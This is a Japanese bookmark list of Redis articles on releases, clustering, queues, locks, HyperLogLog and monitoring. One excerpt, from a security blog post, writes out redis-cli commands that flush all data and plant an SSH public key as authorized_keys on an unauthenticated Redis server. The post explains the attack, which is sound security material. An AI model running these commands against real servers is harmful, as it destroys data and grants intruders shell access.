タグ

redisに関するtknzkのブックマーク (62)

  • Redis 4.0正式リリース。モジュールによる機能やデータの拡張が可能に、新レプリケーションエンジンで運用が改善

    Redis 4.0正式リリース。モジュールによる機能やデータの拡張が可能に、新レプリケーションエンジンで運用が改善 Redis 4.0はモジュールによる機能拡張の実現、新しいレプリケーションエンジンによる高速なレプリケーション、新しいアルゴリズムの追加によるキャッシュの改善、フラッシュの非同期実行など、多くの機能追加が行われています。 リリースノートには、「内部における変更に関していえば、4.0はおそらくこれまででもっとも劇的なリリースだろう」と、次のように記されています。 Note that 4.0 is probably one of the most extreme releases of Redis ever made in terms of changes inside the internals 新しいレプリケーションエンジン「PSYNC2」 Redis 4.0では新しいレプリ

    Redis 4.0正式リリース。モジュールによる機能やデータの拡張が可能に、新レプリケーションエンジンで運用が改善
    tknzk
    tknzk 2017/07/18
  • RedisのSorted Setsで簡易的な遅延実行Queueを作って迅速にLINE LIVEのPC配信対応をリリースした話 - LINE ENGINEERING

    ! This post is also available in the following languages. 英語, 韓国語 みなさんこんにちは、LINE LIVE開発のYappoです。 今回は先日リリースされました一般向けのPC配信機能を実装するときに作った簡易的な遅延実行Queueについて書いていこうと思います。 関連エントリ:LIVE PRESS 公式ブログ – ゲーム実況にもぴったり!LINE LIVEでPC横型ライブ配信を試してみよう 背景 今までのLINE LIVEでの配信方法としては、アプリ上で直接配信する方法と、公式アカウント向けの専用画面(LINE OFFICIAL ACCOUNT MANAGER)とRTMPソフト(もしくは専用機材)を利用してPCからの配信する方法がありました。 この2つの方法は全く違う仕組みで実装されるように見えますが、実は基となる設計は同じで

    RedisのSorted Setsで簡易的な遅延実行Queueを作って迅速にLINE LIVEのPC配信対応をリリースした話 - LINE ENGINEERING
  • プロダクションで2年間Redis Clusterを運用してみて - Qiita

    TL;DR Redis Clusterで運用は当に楽になった でも、Redis 4.0は不安 Redis Clusterで一番怖いのはDisk IO 特にフェイルオーバーなどのFull Resync時 Redisとは? 高速なインメモリ型のKVS シングルスレッド 豊富なデータ構造(次ページにて詳細) 豊富な操作(次々ページにて詳細) 豊富なデータ構造 key-value型 hash型(key-field-value) set型(集合演算ができる) sorted set型(スコア付きset) 任意の型(redis modules機能) 豊富な操作 インクリメントや和集合などなど lua scriptも実行できちゃう シングルスレッドだからatomicな処理になる Redisの問題点 writeがスケールしない 気軽に停止できない サーバー再起動やバージョンアップなど Redis Clus

    プロダクションで2年間Redis Clusterを運用してみて - Qiita
    tknzk
    tknzk 2016/12/22
  • Redisアプリケーションパターン | おそらくはそれさえも平凡な日々

    この記事は、はてなエンジニアアドベントカレンダー2016の12日目の記事です。 先日こういうツイートをしました。 Redisはキャッシュ用途のミドルウェアだと思わない方が良いと思う — songmu (@songmu) 2016年12月10日 言いたかったのは、Redisはキャッシュのためだけのミドルウェアだと誤解されがちなのですが実際はそうではないということです。実際、公式サイト を見に行くと以下の様なことが書かれています。 Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker. つまり、Redisは多彩なデータ構造を保持できるインメモリーのデータストアで、様々な活用法があり、キャッシュとして「も」使える、とい

    Redisアプリケーションパターン | おそらくはそれさえも平凡な日々
    tknzk
    tknzk 2016/12/14
  • そして物語は何度目かのアプリ内通知再実装を迎える - その手の平は尻もつかめるさ

    というタイトルでKyoto.なんか #2で発表してきました. そして物語は何度目かのアプリ内通知再実装を迎える / Reimplement in app notification // Speaker Deck スライドの内容としては,アプリ内通知 (Twitter appで言うところの「通知」タブにあたる部分) のサーバサイドを実装する際にどういう問題があって,それをどういう風に実装したかという葛藤の記録となっています. Webアプリケーションやスマートフォンアプリケーションを書いていると,そこそこの確率でアプリ内通知を書くことになると思うんですが,ところがどっこい「実際にどういう風に実装しているか」みたいな知見が共有されている感じがあまりありません.みんな実装しているはずなのに,ググってもあまり情報が出てこなくて寂しい.地味な機能だから? という思いがあり,そこら辺アプリ内通知周辺の技

    そして物語は何度目かのアプリ内通知再実装を迎える - その手の平は尻もつかめるさ
  • Redis 3.2.0 is out! - <antirez>

    It took more than expected, but finally we have it, Redis 3.2.0 stable is out with changes that may be useful to a big number of Redis users. At this point I covered the changes multiple time, but the big ones are: * The GEO API. Index whatever you want by latitude and longitude, and query by radius, with the same speed and easy of use of the other Redis data structures. Here you can find the API

  • Redisで任意のファイルをアップロードする攻撃 | csirt.mrtc0.log

    まず, 攻撃者は既に格納されているキーとバリューをクリアします. その後, 自身の公開鍵を適当なキー(ここではpwnというキー)で保存します. そしてデータを書き出すディレクトリ(/home/user/.ssh/)を設定し, ファイル名をauthorized_keysとします. 最後にデータを書き出します. [1] $ redis-cli -h 172.17.0.2 flushall $ cat id_rsa.pub| redis-cli -h 172.17.0.2 -x set pwn $ redis-cli -h 172.17.0.2 172.17.0.2:6379> config set dir "/home/user/.ssh" OK 172.17.0.2:6379> config get dir 1) "dir" 2) "/home/user/.ssh" 172.17.0.2:6

  • redis-cli monitor のログをプロファイルするツールを作った - @Konboi memo

    TL;DR rmlp という redis-cli monitor で出力されたログのプロファイラを作りました redis-cli monitor のログを調べる必要がある時は、使ってみて下さい。 はじめに 時間帯によってはredis serverのcpu使用率が高くなるときがあった アプリのコードレベルでは cache や session をそれぞれ個別に指定できるようになっている それでも分けて負荷が下がる確証もなかったため、 コマンド、keyの利用比率を確認するためredis-cli monitor を実行して調べる事にしました keys ではだめなのか echo keys * | redis-cli > keys.log でkeyがどの程度あるかは調べられますが、実行される頻度が分からないので負荷を見ながら redis-cli monitor で実際に使われているkeyやコマンドを調

    redis-cli monitor のログをプロファイルするツールを作った - @Konboi memo
    tknzk
    tknzk 2016/02/15
  • Redisでスコアを複数設定できるランキングを作ってみた

    ランキングを作っているとスコアを複数設定したいことがよくあると思います。 例えば「得点が同じだったら早くその得点を出した人優先」とか「勝ち点が同じだったら得失点差が大きい方優先」とかのように、 最初の基準で順位を決められなかった場合の第二基準が欲しいみたいな場合です。 ランキングを作るのにはRedisのSorted Setを使うのが便利ですが、残念ながらSorted Setはひとつしかスコアを設定できません。 少し前にどうやったら実装できるかと社内チャットで話題に上ったので、試しにRedis::LeaderBoardMulti(仮名)という名前で書いてみました。 shogo82148/p5-Redis-LeaderBoardMulti 使い方 メソッドの名前はRedis::LeaderBoardにあわせてありますが、 スコアが複数指定できるようになった関係でちょっと変わってます。 use

    tknzk
    tknzk 2016/02/08
  • MackerelでResqueのキュー数を可視化する - Qiita

    Resqueのキューがどんな感じになっているのか可視化したくなったから、Mackerelを使ってみた。 MackerelにResqueサービスとDBロールとRedisが動いているホストを追加して、下記のようなスクリプト書いた。REDIS_HOST PORT MACKEREL_API_KEY HOST_IDはよしなに設定する。 #!/bin/bash redis='redis-cli -h REDIS_HOST -p PORT' timestamp=`date +%s` apikey=MACKERL_API_KEY hostid=HOST_ID json='' sum=0 for name in `$redis SMEMBERS resque:queues` ; do depth=`$redis LLEN resque:queue:${name}` sum=`expr $sum + $dep

    MackerelでResqueのキュー数を可視化する - Qiita
  • Redis 本番障害から学んだコードレビューの勘所

    Redis不適切利用による問題は番運用が始まってから顕在化することが多く、時限爆弾みたいな存在です。事前に防ぐにはコードレビュー段階で叩くしかありません。 Redisはスクリプト言語と相性が良く、適切に利用するとRDBと比較し驚くほど高速なプログラムを組むことができます。昨年尊敬する先輩にコードレビューで斧100くらい(レビューコメント)投げられて血まみれになりつつ学んだことを、まとめて書いてます。概要は『消えても良いデータならRedis』 Redisのメモリが溢れたら... (この話は事実ではなくファンタジーです。) 深夜電話で叩き起こされました。どうやらアクセス障害みたいです。 何人かで実機確認したら、まったくゲームが遊べない。データ不整合怖いのでメンテIN。 ほどなくしてRedisが溢れメモリ不足で新規書き込みが出来なくなっていると判明。サーバのメモリ容量は64GByteでこれ以

    Redis 本番障害から学んだコードレビューの勘所
    tknzk
    tknzk 2015/10/27
  • Redis作者Salvatore Sanfilippo氏へのインタビュー : シチリア島から才能と情熱を | Yakst

    Redisの開発者として知られるSalvatore Sanfilippo(antirez)氏へのインタビュー。彼のキャリア、渡米せずにイタリアを拠点に活動している理由、オープンソースと企業の関わりについての意見、若者達へのメッセージ。 メディアによって作られたあらゆるステレオタイプにも関わらず、シリコンバレーで開発者として成功するのは至難の業だ。価値ある人間関係を作り上げる事ができ、その努力を見える形にできた一握りの最高のプログラマ達だけが、トップの会社で高賃金の仕事を得たり、立ち上げた会社への投資を受けたりする事ができる。そんな困難を乗り越え、しかもこの素晴らしいイタリアのシチリア島から出ずに製品を作り上げ、それに伴う評判を得る事を想像してみて欲しい。それはほとんど不可能事に近い。しかし、Redisの作者であるSalvatore Sanfilippo(antirez)は、それをやってのけ

    Redis作者Salvatore Sanfilippo氏へのインタビュー : シチリア島から才能と情熱を | Yakst
    tknzk
    tknzk 2015/10/14
  • Redis作者自身によるRedisとMemcachedの比較 | Yakst

    Redisの作者antirez氏自らによる、memcachedとRedisの長所短所の比較。特に、Redisを単なるキャッシュ用アプリケーションとしてmemcachedと比較することの間違いと、それぞれの向いている使用方法についての私見。 あなたが私と面識があるなら、私が競合製品があることが悪いと考える人間でないことはご存知でしょう。ユーザーに選択肢があることは当にいいことだと思っていますし、だからこそ他の技術とRedisを比較するようなことはほとんどしませんでした。 しかし、最適なソリューションを選ぶためには、ユーザーは正しく情報を持たねばならないのも確かです。 この記事を書くのは、有名なライブラリであるSidekiqの作者として知られるMike Perhamが、Redisのバックエンドストレージとしての使い方を書いた記事を読んだのがきっかけです。従って、私はMikeがRedisに「反

    Redis作者自身によるRedisとMemcachedの比較 | Yakst
  • Sidekiq について基本と1年半運用してのあれこれ - まっしろけっけ

    はじめに 実際に運用していた時に非同期にしていた主な処理は下記のようなものがあります。 iOS Android の push 通知の送信処理 ログの作成 様々な外部 API の呼び出し 非同期で更新しても問題ないデータの更新 Sidekiq is なに sidekiqは非同期処理を実現する gem 他にも Ruby で非同期処理を実現できる有名な gem には resque や delayed_job 等がある。 sidekiq.org Enterprise版等もありますが、 今回はOSS版を使用している前提でのお話しです。 他の非同期処理が可能な gem との簡単な比較 FAQ · mperham/sidekiq Wiki · GitHub この内容は結構真実を語っていることを最近知った Sidekiq Redis マルチスレッド リトライ処理あり おしゃれなダッシュボード Resque

    Sidekiq について基本と1年半運用してのあれこれ - まっしろけっけ
  • AWS ElasticCacheのRedisをDefault設定で使ったときのConnection Leakの解決方法 - Akatsuki Hackers Lab | 株式会社アカツキ(Akatsuki Inc.)

    現在、弊社にて提供しているサービスのほぼ全てにおいてAWS(Amazon Web Service)を利用しており、その中でも頻繁にアクセスが必要なデータについてはElasticCacheのRedis/Memcachedを利用しています。今回は、そのElasticCacheでRedisを利用する場合において、弊社の運用で発生してしまったトラブルと対応方法について紹介させていただきたいと思います。 TL;DR AWS ElasticCacheのRedis ServerのDefaultのパラメータ設定では、Connection Timeoutの設定がされていないので、そのまま放置するとConnection数が溜まり続けて危険ですので、ConnectionのTimeout設定を行いましょうというお話になります。 今回発生した問題 Blue-Green Deploymentを多用して何度もデプロイを

    AWS ElasticCacheのRedisをDefault設定で使ったときのConnection Leakの解決方法 - Akatsuki Hackers Lab | 株式会社アカツキ(Akatsuki Inc.)
    tknzk
    tknzk 2015/09/15
  • RedisのHyperLogLogを使ってユニークユーザー数を推定する – Rest Term

    去年の内に公開することが出来ず、ずっと下書き状態だったエントリーをちょっとずつ消化していきたいと思います。ネタとして古いものも含まれていたりすると思いますがしばらくご辛抱ください。。 Redis 2.8.9から追加された HyperLogLog をちょっと触ってみました。 環境 * CentOS 7.0 (x86_64) / Intel Xeon E312xx (Sandy Bridge) 2.4GHz 仮想3コア / 2GB RAM * Redis 2.8.17 * redis-py (Python 2.7.5) HyperLogLogとは HyperLogLog (以下HLL)というアルゴリズムはデータマイニング(トラフィックデータの分析等)とか自然言語処理をやってる人ならともかく、Webアプリケーション開発者にはあまり馴染みがないかもしれません。 HyperLogLog – Wiki

    RedisのHyperLogLogを使ってユニークユーザー数を推定する – Rest Term
    tknzk
    tknzk 2015/09/09
  • Redis による分散ロック — Redis Documentation (Japanese Translation)

    Redis による分散ロック¶ 異なるプロセス同士が、相互に排他的な方法で共有リソースに対して操作を実行する、という環境において、分散ロックは非常に役に立ちます。 Redis を使った DLM (Distributed Lock Manager) の実装については、多くのライブラリやブログポストがあります。しかし、ライブラリごとに異なるアプローチがとられており、またその多くは、より複雑なデザインと比較するとシンプルで、そのぶん保証される内容が低いアプローチとなっています。 このページは、Redis 上で分散ロックを実装するにあたり、標準的なアルゴリズムを提供することを目指すものです。私たちはここで Redlock と呼ぶアルゴリズムを提供します。これは DLM 実装の一種で、よく見かけるような、ひとつのインスタンスを使うアプローチよりも安全である、と私たちは考えています。コミュニティがこの

  • Redis、計算量の恐怖 | Akatsuki Hackers Lab アカツキハッカーズラボ

    はじめまして。アカツキのサーバエンジニアのこうのです。サウザンドメモリーズで主にサーバ側のプログラム・インフラを担当しています。 今回はサウザンドメモリーズで発生した、Redisにまつわるトラブルを紹介したいと思います。 TL;DR RedisのSorted SetのZRANGE系のコマンドは計算量がO(log(N)+M)(Mは取得結果の数)になるので、 適切にLIMITをつけるなどして取得結果数を制限しないと負荷が高くなってしまいますよ、というお話。 背景 サウザンドメモリーズではバトル出撃時に一緒に出撃するフレンドやランダムに選ばれた他のプレイヤーを選択することができます。 この「ランダムに選ばれた他のプレイヤー」の選択ロジックに弊社ではRedisのSorted Setを利用した実装を行っています。 ランダムといってもすべてのプレイヤーからランダムで選んでしまってはアクティブでないプレ

    Redis、計算量の恐怖 | Akatsuki Hackers Lab アカツキハッカーズラボ
    tknzk
    tknzk 2015/06/01
  • GitHubなどで使える:+1:するバッジサービスを作った

    [![Vote++](https://voting-badge.herokuapp.com/img?url=https://github.com/azu/voting-badge)](https://voting-badge.herokuapp.com/vote?url=https://github.com/azu/voting-badge) GitHub Issueで賛成などを :+1: と書いてコメントすることが良くあります。 投票ボタン的な機能としてそういうのが欲しかったので、Travis CIのバッジのように表示+投票できるボタンを作りました。 Voting Badge 上記にアクセスしてURL(実はキーなら何でもいい)を書くとバッジのURLを作ってくれます。 img + link というよく見るバッジの仕組みと同じです。 なぜ作ったか 最近ブログをGitHub Pagesに移動し

    GitHubなどで使える:+1:するバッジサービスを作った
  • redis-mutexで排他制御 - HK's Weblog

    例えばサーバが2台あったとして同じ時間に全く同じ内容のcronスクリプトが実行されるとする、その処理がDBのバッチ処理など大きなコストを必要とするなら両方のサーバで実行されるのは無駄でしかないし場合によってはデータの不整合なども発生するかもしれない。そんな時はredis-mutexを使って排他制御を行うことができる。 なにはともあれredisをインストール ※Macの場合のインストール方法です $ brew install redisredis-mutexというgemをインストール。 $ gem install redis-mutex Successfully installed redis-mutex-2.1.1排他制御を行いたい部分をRedis::Mutex.with_lockブロックで囲むだけでOK、簡単ですね。 #!/usr/bin/env ruby require 'redis-

    redis-mutexで排他制御 - HK's Weblog
    tknzk
    tknzk 2014/04/10